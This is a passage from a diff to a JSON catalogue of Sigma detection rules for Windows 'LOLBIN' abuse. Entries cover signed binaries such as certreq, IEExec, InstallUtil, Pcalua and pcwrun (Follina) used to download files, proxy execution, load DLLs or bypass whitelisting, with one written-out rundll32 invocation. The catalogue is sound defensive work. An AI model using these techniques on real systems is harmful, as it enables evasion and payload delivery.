batch script or by an administrator." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", + "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29", + "value": "Use of FSharp Interpreters", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Legitimate use by a software developer." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", + "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", + "value": "LOLBIN Execution Of The FTP.EXE Binary", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_lolbin_ftp.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", + "uuid": "1e59c230-6670-45bf-83b0-98903780607e", + "value": "Gpscript Execution", + "meta": { + "refs": [ + "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", + "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_gpscript.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate uses of logon scripts distributed via group policy" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", + "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc", + "value": "Ie4uinit Lolbin Use From Invalid Path", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", + "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/05/07", + "filename": "proc_creation_win_lolbin_ie4uinit.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the IEExec utility to download payloads", + "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad", + "value": "Abusing IEExec To Download Payloads", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_ieexec_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", + "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4", + "value": "Ilasm Lolbin Use Compile C-Sharp", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", + "https://www.echotrail.io/insights/search/ilasm.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/07", + "filename": "proc_creation_win_lolbin_ilasm.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", + "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc", + "value": "Suspicious Execution of InstallUtil To Download", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/239", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_installutil_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format", + "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568", + "value": "JSC Convert Javascript To Executable", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/02", + "filename": "proc_creation_win_lolbin_jsc.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", + "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d", + "value": "Kavremover Dropped Binary LOLBIN Usage", + "meta": { + "refs": [ + "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/11/01", + "filename": "proc_creation_win_lolbin_kavremover.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", + "uuid": "45d3a03d-f441-458c-8883-df101a3bb146", + "value": "Launch-VsDevShell.PS1 Proxy Execution", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535981653239255040", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216.001" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the script by a developer" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute arbitrary binaries", + "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e", + "value": "Use of Mftrace.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_mftrace.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use for tracing purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", + "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955", + "value": "Execute MSDT Via Answer File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2022/06/13", + "filename": "proc_creation_win_lolbin_msdt_answer_file.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", + "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", + "value": "Download Arbitrary Files Via MSOHTMED.EXE", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_msohtmed_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", + "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf", + "value": "Download Arbitrary Files Via MSPUB.EXE", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_mspub_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", + "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a", + "value": "Suspicious OfflineScannerShell.exe Execution From Another Folder", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_offlinescannershell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/03/06", + "filename": "proc_creation_win_lolbin_offlinescannershell.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", + "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1", + "value": "Use of OpenConsole", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1537563834478645252", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/16", + "filename": "proc_creation_win_lolbin_openconsole.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by an administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This is used as a LOLBIN for example to bypass application whitelisting.", + "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2", + "value": "Use of Pcalua For Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/", + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/14", + "filename": "proc_creation_win_lolbin_pcalua.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by a via a batch script or by an administrator." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", + "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc", + "value": "Indirect Command Execution By Program Compatibility Wizard", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/991335019833708544", + "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_lolbin_pcwrun.yml", + "author": "A. Sungurov , oscd.community", + "level": "low", + "falsepositive": [ + "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", + "Legit usage of scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", + "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299", + "value": "Execute Pcwrun.EXE To Leverage Follina", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535663791362519040", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2022/06/13", + "filename": "proc_creation_win_lolbin_pcwrun_follina.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", + "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908", + "value": "Use of PktMon.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2022/03/17", + "filename": "proc_creation_win_lolbin_pktmon.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", + "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f", + "value": "Application Whitelisting Bypass via PresentationHost.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/01", + "filename": "proc_creation_win_lolbin_presentationhost.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate \".xbap\" being executed via \"PresentationHost\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", + "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd", + "value": "Download Arbitrary Files Via PresentationHost.exe", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_presentationhost_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", + "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7", + "value": "PrintBrm ZIP Creation of Extraction", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/05/02", + "filename": "proc_creation_win_lolbin_printbrm.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", + "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da", + "value": "Pubprn.vbs Proxy Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216.001" + ], + "creation_date": "2022/05/28", + "filename": "proc_creation_win_lolbin_pubprn.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", + "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813", + "value": "DLL Execution via Rasautou.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", + "https://github.com/fireeye/DueDLLigence", + "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious execution of Regasm/Regsvcs utilities", + "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2", + "value": "Regasm/Regsvcs Suspicious Execution", + "meta": { + "refs": [ + "https://www.fortiguard.com/threat-signal-report/4718?s=09", + "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.009" + ], + "creation_date": "2022/08/25", + "filename": "proc_creation_win_lolbin_regasm.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", + "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd", + "value": "REGISTER_APP.VBS Proxy Execution", + "meta": { + "refs": [ + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_register_app.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", + "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93", + "value": "Use of Remote.exe", + "meta": { + "refs": [ + "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_lolbin_remote.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Replace.exe which can be used to replace file with another file", + "uuid": "9292293b-8496-4715-9db6-37028dcda4b3", + "value": "Replace.exe Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Replace/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/03/06", + "filename": "proc_creation_win_lolbin_replace.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", + "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221", + "value": "Rundll32 InstallScreenSaver Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Desk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml" + ], + "tags": [ + "attack.t1218.011", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "proc_creation_win_lolbin_rundll32_installscreensaver.yml", + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", + "level": "medium", + "falsepositive": [ + "Legitimate installation of a new screensaver" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", + "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420", + "value": "Use of Scriptrunner.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/01", + "filename": "proc_creation_win_lolbin_scriptrunner.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use when App-v is deployed" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", + "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801", + "value": "Use Of The SFTP.EXE Binary As A LOLBIN", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/11/10", + "filename": "proc_creation_win_lolbin_sftp.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", + "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6", + "value": "Sideloading Link.EXE", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1560732860935729152", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_lolbin_sideload_link_binary.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", + "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04", + "value": "Suspicious Sigverif Execution", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", + "https://twitter.com/0gtweet/status/1457676633809330184", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_sigverif.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"Squirrel.exe\" binary that is part of multiple software (Slack, Teams, Discord...etc) can be used as a LOLBIN", + "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e", + "value": "Use of Squirrel.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_squirrel.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", + "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa", + "value": "Suspicious LOLBIN AccCheckConsole", + "meta": { + "refs": [ + "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", + "https://twitter.com/bohops/status/1477717351017680899?s=12", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/01/06", + "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of the UI Accessibility Checker" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Atbroker executing non-deafualt Assistive Technology applications", + "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002", + "value": "Suspicious Atbroker Execution", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_lolbin_susp_atbroker.yml", + "author": "Mateusz Wydra, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate, non-default assistive technology applications execution" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", + "uuid": "4480827a-9799-4232-b2c4-ccc6c4e9e12b", + "value": "Suspicious Certreq Command to Download", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Certreq/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_lolbin_susp_certreq_download.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a possible suspicious driver is being installed via 